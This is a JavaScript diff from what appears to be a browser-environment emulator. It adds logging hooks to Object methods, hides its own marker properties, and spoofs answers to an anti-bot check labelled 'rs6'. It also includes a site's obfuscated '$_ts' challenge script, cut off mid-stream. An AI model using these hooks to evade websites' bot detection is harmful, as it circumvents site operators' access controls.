symbols_res; + try{ + + let symbols_res = Object.getOwnPropertySymbols_bo.apply(this, arguments) + debugger + console.log_copy('Object.getOwnPropertySymbols ',`->`,` arg:`,bodavm.toolsFunc.getType(arg), ` symbols_res ->`,JSON.stringify_bo(symbols_res),` !!!!检测`); + + } + // if (arg ==alert){console.log('Object.getOwnPropertySymbols -> ',`arg -> alert 检测 返回`)} + + catch { + console.log_copy(`Object.getOwnPropertySymbols hook出错`) + + } return symbols_res } bodavm.toolsFunc.safefunction(Object.getOwnPropertySymbols, 'getOwnPropertySymbols') @@ -29769,19 +93440,29 @@ var mytime_stamp = Date.now() // debugger let target = arguments[0] let prop = arguments[1] - if(target.__proto__==HTMLCollection.prototype){ + let res; + try{ + if(target.__proto__==HTMLCollection.prototype){ - if (prop !=null && (Number(prop) || Number(prop)==0)){ - return bodavm.toolsFunc.throwError(`TypeError: `,`Filed to set an indexed property on 'HTMLCollection': Index property setter is not supported. - at Function.defineProperty ()`) - + if (prop !=null && (Number(prop) || Number(prop)==0)){ + return bodavm.toolsFunc.throwError(`TypeError: `,`Filed to set an indexed property on 'HTMLCollection': Index property setter is not supported. + at Function.defineProperty ()`) + + } } + let obj = arguments[2] + let myfilter = arguments[3] + if (myfilter == 'bobo') { return Object.defineProperty_bo.call(this, target, prop, obj) } + debugger + res = Object.defineProperty_bo.call(this, target, prop, obj) + // console.log_copy(`Object.defineProperty `, `target ->`,(target.toString()),`->`, `prop->`,(prop.toString()),`->`, `obj ->`,(obj.toString()),`->`, `res ->`,res.toString(), `!!!!!检测`) + console.log_copy(`Object.defineProperty `, `target ->`,(target.toString()),`->`, `prop->`,(JSON.stringify_bo(prop)),`->`, `obj ->`,(JSON.stringify_bo(obj)),`->`, `res ->`,JSON.stringify_bo(res), `!!!!!检测`) + + }catch{ + console.log_copy(`Object.defineProperty hook出错`) + } - let obj = arguments[2] - let myfilter = arguments[3] - if (myfilter == 'bobo') { return Object.defineProperty_bo.call(this, target, prop, obj) } - let res = Object.defineProperty_bo.call(this, target, prop, obj) - console.log(`Object.defineProperty `, `target ->`,(target.toString()),`->`, `prop->`,(prop.toString()),`->`, `obj ->`,(obj.toString()),`->`, `res ->`,res.toString(), `!!!!!检测`) + return res } @@ -29790,13 +93471,20 @@ var mytime_stamp = Date.now() Object.defineProperties_bo = Object.defineProperties Object.defineProperties = function defineProperties() { // debugger + let target = arguments[0] let prop = arguments[1] let myfilter = arguments[2] - if (myfilter == 'bobo') { return Object.defineProperties_bo.call(this, target, prop) } - let res = Object.defineProperty_bo.call(this, target, prop) - console.log(`Object.defineProperties `, `target ->`,(target.toString()),`->`, `prop->`,(prop.toString()),`->`,`->`, `res ->`,res.toString(), `!!!!!检测`) + let res; + try{ + if (myfilter == 'bobo') { return Object.defineProperties_bo.call(this, target, prop) } + res = Object.defineProperty_bo.call(this, target, prop) + console.log_copy(`Object.defineProperties `, `target ->`,(target.toString()),`->`, `prop->`,(prop.toString()),`->`,`->`, `res ->`,res.toString(), `!!!!!检测`) + }catch{ + console.log_copy(`Object.defineProperties hook出错`) + } + return res } bodavm.toolsFunc.safefunction(Object.defineProperties, 'defineProperties') @@ -29806,8 +93494,16 @@ var mytime_stamp = Date.now() Object.values_bo = Object.values Object.values = function values() { - let res = Object.Object.values_bo.apply(this, arguments) - console.log(`Object.values `,`this ->`,bodavm.toolsFunc.getType(this),`->`, `res ->`,res,` !!!!!!!!!!检测`); + let res; + try{ + res = Object.Object.values_bo.apply(this, arguments) + console.log_copy(`Object.values `,`this ->`,bodavm.toolsFunc.getType(this),`->`, `res ->`,res,` !!!!!!!!!!检测`); + + }catch{ + console.log_copy(`Object.values `,`hook 出错`); + + } + return res } bodavm.toolsFunc.safefunction(Object.values, 'values') @@ -29817,24 +93513,43 @@ var mytime_stamp = Date.now() Object.prototype.hasOwnProperty=function (){ let arg=arguments[0] - if ((this == window) && (arg =='hasOwnProperty')){ - return false - } - let arg1=arguments[1] - if (arg1=='boboflag'){ - return Object.prototype.hasOwnProperty_bo.call(this,arg) - } - // debugger - // obj='' - // if (arg =='allSettled'){debugger} - if (typeof this =='function'){ - obj=this.name - }else{ + let res; + try{ + if ((this == window) && (arg =='hasOwnProperty')){ + return false + } + if (arg =='__Zm9ybS5pZAo__'){ + console.log_copy(`Object.prototype.hasOwnProperty rs6检测 __Zm9ybS5pZAo__ 返回false`); + return false + } + if (arg =='require'){ + console.log_copy(`Object.prototype.hasOwnProperty `,`this -> `,obj,` ->`,`arg ->` ,arg,` -> `,` res -> `,false,` !!!!!!检测!!!!`) + + return false + } + let arg1=arguments[1] + if (arg1=='boboflag'){ + return Object.prototype.hasOwnProperty_bo.call(this,arg) + } // debugger - obj=bodavm.toolsFunc.getType(this) + // obj='' + // if (arg =='allSettled'){debugger} + if (typeof this =='function'){ + obj=this.name + }else{ + // debugger + obj=bodavm.toolsFunc.getType(this) + } + res=Object.prototype.hasOwnProperty_bo.call(this,arg) + console.log_copy(`Object.prototype.hasOwnProperty `,`this -> `,obj,` ->`,`arg ->` ,arg,` -> `,` res -> `,res,` !!!!!!检测!!!!`) + + }catch{ + // console.log_copy(`Object.prototype.hasOwnProperty `,`this -> `,obj,` ->`,`arg ->` ,arg,` -> `,` res -> `,res,` 输出失败`) + console.log_copy(`Object.prototype.hasOwnProperty `,`this -> `,`hook 出错`) + + } - let res=Object.prototype.hasOwnProperty_bo.call(this,arg) - console.log(`Object.prototype.hasOwnProperty `,`this -> `,obj,` ->`,`arg ->` ,arg,` -> `,` res -> `,res,` !!!!!!检测!!!!`) + return res } @@ -29850,28 +93565,38 @@ var mytime_stamp = Date.now() // delete desc_res['_contentiframe'] Object.entries_bo = Object.entries Object.entries = function () { - let obj = arguments[0] - let res = Object.entries_bo.call(this, obj) - for (let i =0;i`,bodavm.toolsFunc.getType(this),`->obj ->`,obj, `-> res ->`,res,` !!!!!!检测!!!!`) + + }catch{ + console.log_copy(`Object.entries `,`hook 出错`) + } - console.log(`Object.entries `,`this ->`,bodavm.toolsFunc.getType(this),`->obj ->`,obj, `-> res ->`,res,` !!!!!!检测!!!!`) + return res } bodavm.toolsFunc.safefunction(Object.entries, 'entries') Object.keys_=Object.keys Object.keys=function (){ - let obj = arguments[0] - if (bodavm.toolsFunc.getType(obj)=='[object Window]'){ - let iframes= bodaobj.document.getElementsByTagName('iframe') - for (let i = 0; i < iframes.length; i++) { + let res; + try{ + let obj = arguments[0] + if (bodavm.toolsFunc.getType(obj)=='[object Window]'){ + let iframes= bodaobj.document.getElementsByTagName('iframe') + for (let i = 0; i < iframes.length; i++) { if (obj==iframes[i].contentWindow){ res_=bodavm.memory.contentWindow_keys - console.log(`Object.keys `, `contentWindow下keys !!!!!!检测!!!!`) + console.log_copy(`Object.keys `, `contentWindow下keys !!!!!!检测!!!!`) return res_ } @@ -29879,28 +93604,30 @@ var mytime_stamp = Date.now() } } - let res = Object.keys_.call(this, obj) + res = Object.keys_.call(this, obj) + for (let i = 0; i < res.length; i++) { + if (res[i]=='_boisinit' || res[i]=='_boarg' || res[i]=='__proto__'){ + res.splice(i,1) + i=i-1 + } + + } debugger - console.log(`Object.keys `, `obj ->${obj} ->`, `res ->过长不显示} !!!!!!检测!!!!`) + console.log_copy(`Object.keys `, `obj ->`,obj, `->`, `res ->过长不显示} !!!!!!检测!!!!`) + }catch (e){ + console.log_copy(`Object.keys `, `hook 出错`) + + } + return res } bodavm.toolsFunc.safefunction(Object.keys,'keys') - // Object.prototype.hasOwnProperty_ = Object.prototype.hasOwnProperty - // Object.prototype.hasOwnProperty = function(x) { - // // debugger - // if (x+''=='base64StrLength'){debugger} - // res = Object.prototype.hasOwnProperty_.apply(this, arguments) - // console.log('this',this, ' arg->',x ,' res->', res) - // return res - // } - // bodavm.toolsFunc.safefunction(Object.prototype.hasOwnProperty,'hasOwnProperty') - // var Object_toString = Object.prototype.toString; // Object.prototype.toString = function () { // let _temp = Object_toString.call(this, arguments); - // console.log(this); - // console.log("Object.prototype.toString: " + _temp); + // console.log_copy(this); + // console.log_copy("Object.prototype.toString: " + _temp); // // if(this.constructor.name === 'Document'){ // // return '[object HTMLDocument]'; // // }else if(this.constructor.name === 'CanvasRenderingContext2D'){ @@ -29914,7 +93641,7 @@ var mytime_stamp = Date.now() // String.fromCharCode_=String.fromCharCode // String.fromCharCode=function(x){ // res=String.fromCharCode_.apply(this,arguments) - // console.log('this->',JSON.stringify(this,function(k,v){ + // console.log_copy('this->',JSON.stringify(this,function(k,v){ // if (v ==window){ // return 'window' // }else{return v} @@ -29926,6 +93653,7 @@ var mytime_stamp = Date.now() +// debugger // window=bodavm.toolsFunc.proxy(window,"window") // CSS=bodavm.toolsFunc.proxy(CSS,"CSS"); @@ -29985,10 +93713,18 @@ console.log(`=================================================================== -;;;;debugger;;$_ts=window['$_ts'];if(!$_ts)$_ts={};$_ts.scj=[];$_ts['dfe1675']='þþ+þöþ÷þ-þÿ£©=ÿ[ÿ(ÿ,ÿ.ÿ;ÿÿ);ÿ){ÿ){var ÿ[6]](ÿ[8]].ÿ===ÿ<ÿ=0;ÿ;}function ÿ;var ÿ);}function ÿ=this.ÿ);if(ÿ){this.ÿ]=ÿ++ ){ÿ){if(ÿ&&ÿ();ÿvar ÿ=new ÿ)ÿ].ÿ.length;for(var ÿ++ ]=ÿ.push(ÿ=0,ÿ);var ÿ;this.ÿ(){var ÿ||ÿ);}}function ÿ+ÿ;if(ÿ);}ÿ();return ÿ==ÿ.length;ÿ;}}function ÿ);return ÿ!==ÿ];ÿ)this.ÿ){return ÿ();var ÿ!=ÿ);this.ÿ++ ){var ÿ+=ÿ[1]](ÿ[4]](ÿ()[ÿ){}ÿ(){return ÿreturn ÿ=[],ÿ=1;ÿ;return ÿ);}else if(ÿ(258,ÿ(){ÿ)){ÿ;}ÿ=[ÿ instanceof ÿ)return ÿ=(ÿ(236,ÿtry{ÿ;function ÿ?ÿ][ÿif( !ÿ),ÿ];if(ÿ,true);ÿ>0){ÿ-ÿ(136,ÿ(this.ÿfor(ÿ){if( !ÿ);}return ÿ();if(ÿ);}if(ÿ[2]]==ÿ(),ÿ));ÿ.prototype[ÿ();switch(ÿ;}else{ÿ=[];ÿ>=ÿ[29]](ÿ[0],ÿ)&&ÿ()-ÿ);}else{ÿ){if( typeof ÿ;}return ÿ[12]](ÿ=0;var ÿ);}}ÿ);}var ÿ(250,ÿ++ ]=(ÿ++ ;ÿ){if(this.ÿ](ÿ= !ÿ;}var ÿ.length,ÿ.body[ÿ(\"{\");var ÿ=[];this.ÿ[15]](ÿ)){var ÿ;}else if(ÿ);}catch(ÿ;}if(ÿ,false);ÿ&&(ÿ++ ){if(ÿ();return new ÿ[55]](ÿ);for(var ÿ in ÿ.length;if(ÿ]===ÿ){case 61:ÿ:ÿ[92]](ÿ[3]]=ÿ; ++ÿ(\",\");ÿ|| !ÿ;}}else if(ÿ^ÿ);if( !ÿ(\";\");}function ÿ[1],ÿ[0].ÿ));}function ÿ(\"(\");this.ÿ&& !ÿ,0,ÿ(){if(ÿ={},ÿ++ );ÿ[42]](ÿ===2||ÿ[5],ÿ);function ÿ,1);ÿ];}function ÿ)===ÿ[94]](ÿ)){if(ÿ[0]],ÿ],ÿ){return;}ÿ.style[ÿ();}function ÿ(\"}\");}function ÿ=true;ÿ))return ÿ:case ÿ[11]](ÿ,0);ÿ.length; ++ÿ.push(new ÿ.Math[ÿ(new ÿ){}function ÿ;for(ÿ={};this.ÿ={};ÿ=1;var ÿ.join(\'\');}function ÿ=[];for(var ÿ*ÿ[61]]=ÿ();}ÿ=\'\';var ÿ){for(var ÿ||(ÿ[1];ÿ[34]](ÿ;}catch(ÿ++ ];ÿ);}this.ÿ+\"=\"+ÿ[56]](ÿ(\")\");ÿ===0){ÿ[3],ÿ[7])ÿ[50]](ÿ[89],ÿ(){}function ÿ)+ÿ&ÿ===\'+=\')ÿ[38]]);if(ÿ[0];ÿ]);}if(ÿ[1][ÿ[21]](ÿ[24]](ÿ+=2;ÿ);}if(this.ÿ);while(ÿ=((ÿtry{if(ÿ);}}return ÿ(\")\");this.ÿ.length;var ÿ=false;ÿ=2;ÿ):ÿ[87];ÿ ++ÿ;for(var ÿ[79]){ÿ[0]]=ÿ[9]](ÿ[47]](ÿ)return;ÿ+=1;ÿ=0;for(var ÿ];}if(ÿ;while(ÿ.navigator[ÿ[28],ÿ[26]](ÿ;}else{return ÿ[(ÿ[8]]=new ÿ();}return ÿ){}}function ÿ[54]]=ÿ<256;ÿ[3];ÿ));}else if(ÿ);return new ÿ.length>1){ÿ(\"(\");var ÿ);}}}function ÿ=[];var ÿ(2,ÿ=0;if(ÿ++ )],ÿ[2]])===ÿ;){ÿ[72]](ÿ+1;ÿ=null;var ÿ]|ÿ[78]](ÿ<=ÿ)){return ÿ){try{var ÿ.length>0){ÿ();}}function ÿ]);ÿ){return(ÿ[58]&&ÿ){try{if(ÿ){return;}var ÿ&255]^ÿ[0]);ÿ[2]]===ÿ);}}catch(ÿ>0;ÿ[93]](ÿ[92]](\'div\');ÿ){try{ÿ,0);}function ÿ[97]]=ÿ[3];var ÿ[75]](ÿ[2]]&&ÿ=[];while(ÿreturn;ÿ[83],ÿ)*(ÿ[20],ÿ];}else if(ÿ,1);if(ÿ;}}ÿ+1)%ÿ;}for(ÿ<=8){ÿ.abs(ÿ());}function ÿ.documentElement[ÿ.get(ÿ.length===4){ÿ+\'=\'+ÿ();}else{ÿ=0;while(ÿ>>>24]^ÿ)||(ÿ===2){ÿ)|0;ÿ[0];var ÿ[90])];ÿ){}}}function ÿ>=3){ÿ);}}}ÿ+\":\"+ÿ=null;this.ÿ>ÿ[1];var ÿ.length-ÿ;this[ÿ.length-1;ÿ(553,ÿ[615]]=ÿ+=5;ÿ[6]](this,ÿ[70]](ÿ[29]](this.ÿ[2];ÿ),[this.ÿ===1){ÿ,1,ÿ[12]](null,ÿ[19]],ÿ))ÿ>>8&255]^ÿ++ )ÿ>>16&255]^ÿ(){this.ÿ[266],ÿ()){if(ÿ];}}function ÿ];if( !ÿ(\'\"\'+this.ÿ,1);}return ÿ.length;while(ÿ[4],ÿ[0][ÿ[39]]=ÿ[65],ÿ.set(ÿ++ );if(ÿ()){ÿ());ÿ]);if(ÿ(\"}\");ÿ[59]]=ÿ+=3;ÿ=false,ÿ(656,ÿ&=ÿ<4;ÿ++ )];return ÿ[492]]=ÿ():ÿ[505],ÿ()+ÿ[30],ÿ>=40&&ÿ());}ÿ<127){ÿ[67]]===ÿ[574]](ÿ):\'\';}else if(ÿ>=92)ÿ++ );while(ÿ[10],ÿ[67]]+\"//\"+ÿ[1]+ÿ=true,ÿ(0))ÿ);}else{return ÿreturn[ÿ.external[ÿ|=ÿ].y-ÿ>=2){ÿ[((ÿ[77],ÿ-- ;var ÿ());var ÿ<8){}else{var ÿ[18]){if(ÿ[38]])===ÿ.y);ÿ===10)ÿ.target[ÿ[32]]===1){return ÿ>=127)ÿ(this);}}function ÿ[66]){ÿ);for(ÿ,true);}return ÿ.y*ÿ=100;var ÿ=5,ÿ[7]){return ÿtry{return ÿ[84],ÿ.x)+(ÿ();}if(ÿ.x*ÿ+1];ÿ;}}if(ÿ[27]){ÿ;if(this.ÿ){this[ÿ+=9;ÿ(\")\");}function ÿ.length===16){ÿ,\'rel\', -1);var ÿ(){return this.ÿ8;ÿ[53]]){ÿ(10,ÿ]=(ÿ;(ÿ]!==ÿ(\'<\'+ÿ+=4;ÿ[18]);ÿ=2,ÿ.push(arguments[ÿ];}return ÿ)&&(ÿ.length-1,ÿ,false,ÿ);}else if((ÿ.length)===ÿ);return;}var ÿ=false;}function ÿ];}ÿ[37]]&&ÿ]^=ÿ){while(ÿ;}}catch(ÿ*86+ÿ){}return false;}function ÿ[665],ÿ(175);ÿ(77);var ÿ[62]]=ÿ=false;else ÿ();if( !ÿ.sqrt((ÿ;if( !ÿ;};function ÿ===null||ÿ)%ÿ[0]);}else if(ÿ[83]]=ÿ+=7;ÿ);}if( !ÿ[3]){var ÿ(4)+ÿ;if( typeof ÿ%ÿ[129]+ÿ[65]){var ÿ[85]](ÿ[37]]){}else{ÿ,this.ÿ[34]]((ÿ[3]);ÿ));if(ÿ[262],ÿ.length>0)ÿ=\'?\'+ÿ<92){ÿ;}else{var ÿ-- ;if(ÿ(114,ÿ[40],ÿ!==84){if(ÿ[597]](ÿ(\":\");this.ÿ();function ÿ){switch(ÿ>0||ÿ]=\"\";ÿ[3]],ÿ[3]];ÿ>0&&ÿ.parentNode[ÿ];var ÿ);}return;}else if(ÿ,true);}function ÿ[96]);ÿ[5]]=ÿ]+ÿ);}}else if(ÿ.max(ÿ&& typeof ÿ(0xFFFFFFFF),ÿ(\"try\");ÿ]);}}ÿ)/2);if(ÿ.src=ÿ+=(ÿ);}}}catch(ÿ)||ÿ[310]]!==ÿ[697]&&ÿ<<1^(ÿ));}if(ÿ[39]){return new ÿ-1+ÿ)){for(var ÿ,\',\');ÿ(\"]\");}function ÿ>>24)&0xFF;ÿ[95]){return ÿ.originalTarget[ÿ()*ÿ[169]];ÿ;}}}}if(ÿ[91]){ÿ)>>1);ÿ.MediaStreamTrack[ÿ[482],ÿ[51],ÿ[495])){ÿ-52;}else if(ÿ[147]){ÿ[0]]);if((ÿ(128),ÿ[660]];var ÿ(85);ÿ++ )];if(ÿ[457]]([ÿ[666],ÿ[186]](ÿ[522]](ÿ.z;ÿ[686]](ÿ==\'x\'?ÿ[97]]);ÿ(4,ÿ++ ;}function ÿ,\"&\"+ÿ+(ÿ[81]]==ÿ<5;ÿ)return false;return ÿ[722],ÿ[17]](ÿ[381]]===ÿ=3;if( typeof ÿ[3])||(ÿ;default:if(ÿ)return;if( typeof ÿ[568]][ÿ-1);var ÿ[61]]){ÿ[4];for(ÿ[249])){if(ÿ.join(\',\')+\')\')(ÿ[9]](0,4);ÿ[19]]){ÿ=1;}}}if(ÿ=null;if(ÿ>=97&&ÿ===92){ ++ÿ[674]&&ÿ[136]](ÿ=[new ÿ.ctl;if(ÿ)return new ÿ[314]](ÿ=this[ÿ[65]]&&ÿ(7);ÿ|=2;}ÿ];}else{ÿ[1]&&ÿ[84]);ÿ++ );}ÿ++ ;}else{ÿ[703]]===ÿ[575]](ÿ===\'a\'&&ÿ[23]],ÿ)]=ÿ+=\"?\"+ÿ+1;}else if(ÿ=0;function ÿ[679]]=ÿ>>>24)&0xFF;ÿ[0]]){ÿ)][ÿ<<2,( ++ÿ[18])&&(ÿ+\" <\"+ÿ[56]||ÿ());}catch(ÿ===\'src\'){ÿ[531]);ÿ(){return(ÿ/ÿ[24]]=ÿ[36]]=ÿ,\'?\')!== -1){ÿ>>8)&0xFF;ÿ[2];var ÿ.x+ÿ!== -1){if(ÿ[79]);if(this.ÿ=6,ÿ];return new ÿ+\'=\');if(ÿ]);}}}function ÿ.length>10;ÿ(5)-ÿ[233])in ÿ);}}}return ÿ[416]](ÿ|| typeof ÿ>=3){return;}ÿ);else ÿ(85);return new ÿ,arguments[2]);}}else if(ÿ.head[ÿ]!=ÿ.x,ÿ,0);return ÿ>>>16)&0xFF;ÿ[16]]==ÿ].x-ÿ-1;else if(ÿ===8&&ÿ,\'as\', -1);var ÿ[5]||ÿ[2]],ÿ<<24^ÿ|=2;ÿ[217]](ÿ.y;ÿ(){return[ÿ>>8&255]<<8^ÿ;}else{if(ÿ[56],ÿ(\"if\");ÿ=1;if(ÿ[57]]&&(ÿ[90])];if(ÿ=5;ÿ(1,1);ÿ<=8&&ÿ[ --ÿ+=19;ÿ(4);return ÿ)=== -1;ÿ.x-ÿ[203]](ÿ[278]]||ÿ===\'a\'){var ÿ[0]^ÿ){return false;}}function ÿ-- ){ÿ[605]]=ÿ[98]]===ÿ[239]];ÿ>1)ÿ[428],ÿ|=1048576;ÿ(){if( !ÿ-((ÿ[3]],\'#\')[1];var ÿ[7])){return ÿ=== -1){ÿ<<4^((ÿ; --ÿ[349]]&& !ÿ();}}else if(ÿ=4,ÿ)?1:0,ÿ>>>24]<<24^ÿ(11,ÿ;}if(this.ÿ[45]]();}}ÿ&0xFF;}return ÿ]();case 1:return ÿ[344]](ÿ(\"for\");ÿ[2]]=ÿ[0]instanceof ÿ>0){for(var ÿ[237],ÿ=true;var ÿ(685,ÿ,\'();\',ÿ(\"new\");this.ÿ!==null&&ÿ(256),ÿ);if((ÿ[46]]===ÿ>>>8)&0xFF;ÿ)*2+ÿ,\'?\')[1];if(ÿ[496],ÿ[212]);ÿ[52]],ÿ>>16)&0xFF;ÿ){try{return ÿ[7];ÿ+\']\';}return new ÿ=true;}function ÿ[66])ÿ[7]){arguments[0]=ÿ=3;ÿ,arguments[2],arguments[3]);}else if(ÿ[257]);ÿ[59]]=null;ÿ((ÿ++ );if( !ÿ+\'\"\');return new ÿ[90])];var ÿ=null,ÿ!==\'\'){ÿ[74]||ÿ>>2];ÿ[13];ÿ[586],ÿ[628]](ÿ+\')\'+ÿ.length);ÿ(1,ÿ;}break;case ÿ===3){ÿ){return[ÿ[187]])){ÿ);}else{this.ÿ(\"var\");var ÿ));}}else if(ÿ[681]][ÿ===\'\';ÿ[290]){return ÿ[18])){ÿ[63]);var ÿ-1;}else if(ÿ[32]]&&ÿ];while(ÿ);}}}else if(ÿ=5;return ÿ[98])){if(ÿ++ ;}if(ÿ(16)+ÿ=[\'a\',ÿ[5]);ÿ[447]];ÿ[5]){ÿ[264],ÿ[2]);if(ÿ()));ÿ[1]);}function ÿ+=\'?\';}var ÿ[457]](ÿ[0]]&&ÿ[58],ÿ[1]);ÿ[449]);ÿ[550]]==ÿ[31]];var ÿ[0]+\'=\'+ÿ.length===16){if( !ÿ=== -1)return[ÿ(82);ÿ(25));ÿ[17]]=ÿ===85||ÿ)[1];ÿ>=65&&ÿ[90])].userAgent[ÿ].y,ÿ(81);var ÿ.mediaDevices[ÿ()&&ÿ[272]];}if( !ÿ[62]]);}}else if(ÿ=1,ÿ[98],ÿ.x);ÿ[74],ÿ+=15;ÿ(\":\");var ÿ[306]](ÿ[73]],ÿ)&0xFF,ÿ[82]);ÿ,0);var ÿ[2],ÿ];function ÿ[81]];if((ÿ.length===4;ÿ[2]^ÿ=3,ÿ].x*ÿ.length>=ÿ[255]](ÿ));}ÿ.length-1){ÿ+=\'&\';}else{ÿ=true;}}}function ÿ[23]]===ÿ[0]);if(ÿ<2)return 1;return ÿ;}}}else if(ÿ]]=ÿ(\";\");if(this.ÿ);}}if(ÿ);return;}if(ÿ.objectStoreNames[ÿ[589]],ÿ[0]);}if(ÿ+=14;ÿ[19]]=ÿ[62]]);}}else{ÿ)/ÿ[448]](ÿ(78);var ÿ,arguments[2]);}else if(ÿ[6]]&&ÿ[0]===ÿ]);}}function ÿ]]===ÿ[212],ÿ.document[ÿ={};if(ÿ[2]]){case ÿ[92]](\'a\');ÿ()||ÿ[452],ÿ.push(\'; \');ÿ+\'>\';ÿ===\'src\'&&ÿ!=null){ÿ,true),ÿ[571]){return ÿ!==\'\'||ÿ+=13;ÿ=0;}function ÿ=false;this.ÿ=0;this.ÿ.y-ÿ);try{ÿ>=93&&ÿ===\'#\')&&ÿ[76]]){ÿ(this);}function ÿ]);}else if(ÿ);};function ÿ[453]]);if(ÿ.chrome[ÿ[98]){if(ÿ){if((ÿ)>=0;}function ÿ(112);ÿ,1);}catch(ÿ[60]](ÿ;}}var ÿ+\"&\"+ÿ=10,ÿfor(var ÿ[68]],\'`\');var ÿ(78,ÿ(555,ÿ[280]](0)!==ÿ[414],ÿ[2];if( typeof ÿ[540]](ÿ[75]]((ÿ= typeof ÿ=2;}else{ÿ++ ;}else if(ÿ[49]];var ÿ[4]](\'r\')===\'m\'){ÿ[711]].sdp,\'\\n\');ÿ(\'\"\'+ÿ[8]].concat[ÿ[573]][ÿ.length>10){ÿ[7]){var ÿ[579]]===ÿ[62]||ÿ<128)return(ÿ[535]](ÿ[83]){ÿ[214]](ÿ>>5)&0x07ffffff))+ÿ||0;if(ÿ=false;}if(ÿ]){ÿ[427]];ÿ-1);}function ÿ(23,ÿ=null;if( !this.ÿ.length-1];ÿ=\'src\';var ÿ>3){return ÿ>=8&& !ÿ.push(\" \"+ÿ,\'src\',ÿ[12]]([],ÿ[9]](0);ÿ-1;ÿ+\'\"\');var ÿ[80])!= -1)||ÿ++ ;}}}ÿ+=11;ÿ[191]]&&ÿ<8;ÿ++ ;}ÿ^=ÿ[708],ÿ(){return new ÿ.length===16;ÿ[377]],ÿ[61]];ÿ&3)<<4)|(ÿ)));ÿ)<<2);ÿ[7])return(ÿ=3;var ÿ[373],ÿ[92]](\"a\");ÿ[48]]+ÿ!== -1){ÿ[430]]=ÿ[18]){var ÿ]&&ÿ);}}else{var ÿ<100&& !(ÿ[163]&&ÿ.pop();if(ÿ[0]===\'$\'&&ÿ&& !this.ÿ[689],ÿ>=48&&ÿ,new ÿ(1);ÿ);return;}else if(ÿ,\'src\')){var ÿ[256]]=ÿ=\'\';ÿ,0);function ÿ[3]){ÿ.length/ÿ>>16&255]<<16^ÿ[18])&&ÿ[656],ÿ[65]]()===false&&ÿ=3;if(ÿ));return ÿ(776,ÿ[97]]!=null){ÿ[1]);if( !(ÿ;switch(ÿ){return[(ÿ[82],ÿ[5]){var ÿ[58]){return ÿ(82);var ÿ[12]](this,arguments);}function ÿ[9]](0,ÿ.push(this.ÿ)|(ÿ,0);if(ÿ();}if( !ÿ.length>1){var ÿ,\'a\')&&ÿ[18]){ÿ[478]),ÿ[678]]=ÿ(780,ÿ,\'as\', -1);if(ÿ[164],ÿ[637]](ÿ[16])&&ÿ[317]]&&ÿ[714],ÿ[144]]){ÿ<=7)&&( typeof ÿ[244]);if(ÿ);this[ÿ[573]].length;ÿ+1);else if(ÿ[193]](ÿ[0]++ ;}else if(ÿ(false);ÿ<=9){var ÿ+10000;ÿ]);if( !ÿ++ ]<<16)|(ÿ]=\'b[\'+ÿ[608]]){ÿ===\'\')))&&ÿ[636]],ÿ[584],[],ÿ>>16&255]]^ÿ[92]](\'div\'),ÿ|=1073741824;if(ÿ.length-4;var ÿ)[ÿ[591],ÿ!==null&&( typeof ÿ[690]]();ÿ.join(\"/\");if(ÿ={\'\\b\':\'\\\\b\',\'\\t\':\'\\\\t\',\'\\n\':\'\\\\n\',\'\\f\':\'\\\\f\',\'\\r\':\'\\\\r\',\'\"\':\'\\\\\"\',\'\\\\\':ÿ[14]=ÿ[14];ÿ(69,\"<=\");default:return ÿ;return;}var ÿ[454]](ÿ[11]](0,0,ÿ[43]]=ÿ:\'\\\\u\'+ÿ[43]];ÿ[83]);if(ÿ[56]]){ÿ);}}else{ÿ=true;break;}}}ÿ[409]](\"x\"),ÿ();else{var ÿ[528]](ÿ[402]]||ÿ];}}return ÿ=\'abs\';ÿ=0xFE;var ÿ[678]](ÿ[399]]=ÿ=37;ÿ[546],ÿ[529];ÿ={\'tests\':3};if(ÿ(518);ÿ-4];if(ÿ[202]]=ÿ=6;var ÿ.length);}}function ÿ.canvas[ÿ[39]){if(ÿ[10];ÿ.length-1)&&(ÿ.length/4,ÿ[134]](ÿ[433]]){ÿ](arguments[0],arguments[1]);case 3:return ÿ(77,\"{\");case 125:ÿ);if(this.ÿ.length/4;for(ÿ[20];}else{}var ÿ>>>1));}ÿ(68,\">>>\");}default:return ÿ===1);if( !ÿ[201]]||ÿ());}}ÿ&&((ÿ[235]);this.ÿ[531],\"for\",ÿ[487]];this.y=ÿ[271]]);if(ÿ[361];}function ÿ[195])];ÿ();case 46:return ÿ.push){ÿ=true;}}return ÿ*86+165;}else if(ÿ[214]](\'2d\');ÿ[361]);}return;}}else{if(ÿ=\"1\"==ÿ,\'=\');ÿ[450]]&& !ÿ[148],ÿ().ÿ(69,\">\");}case 63:ÿ[369]],ÿ);break;case 70:if(ÿ&0x80)!==0)ÿ===\'on\'+ÿ===16;ÿ(747,6);ÿ[108];ÿ,\"*/\",ÿ[17]=ÿ[17];ÿ[218])){ÿ.length==0){return new ÿ-30;}ÿ[392]]&&ÿ(68,\">>\");}default:return ÿ+=4;}else if(ÿ[268]),ÿ];}catch(ÿ[40]);ÿ),2);ÿ[521]),ÿ){try{if( typeof ÿ,\"a\")){var ÿ[30]));ÿ<=50){ÿ[279]](ÿ[434]]!=ÿ[709]&&ÿ.length);return ÿ(75,\"^=\");default:return ÿ[24]){return ÿ(253,ÿ)||\'\';}function ÿ(264,0,360,ÿ=0x9E3779B9,ÿ[120],ÿ=1;}}for(ÿ();break;case 76:ÿ];}for(ÿ[13]]){ÿ[361]);}ÿ];for(ÿ[3]];}}if(ÿ+\'\"\')][ÿ[61]]);}if(ÿ[5]);if( !ÿ();break;case 4:ÿ);else return new ÿ[9]](4);}ÿ[694]);var ÿ>>6)];ÿ[367]]<2000){if(ÿ(30));var ÿ.top==null)return ÿ&0xFF00)>>8),(ÿ>=0){var ÿ[561],ÿ(144,1);}else if(ÿ[311]]=ÿ[509]]){ÿ[65]){ÿ[692])]){ÿ(26);ÿ(793));ÿ){}else if(ÿ[412]),ÿ[60]&& typeof arguments[2]===ÿ[353]){ÿ++ )]+80;}else if(ÿ[35]];}if(ÿ.localStorage[ÿ*2+1]=ÿ<0){ÿ[311]];ÿ});}ÿ()){this.ÿ(6);}ÿ,\'#\')){ÿ+1]^=ÿ(768,10);ÿ===78){ÿ))){var ÿ[204]]!=null)ÿ,100);ÿ());case 48:ÿ[171])){if(ÿ===null&&ÿ(768,7);}}if(ÿ>>2;ÿ[379]];return ÿ[111]]());ÿ[570]]=ÿ===4){ÿ=true;return;}var ÿ[375]]([ -.2, -.9,0,.4, -.26,0,0,.813264543,0]);ÿ,\'src\');ÿ(6)/4;}function ÿ[83]);var ÿ[0])+ÿ);}}}else{ÿ[6]](\'?\',ÿ[79])){var 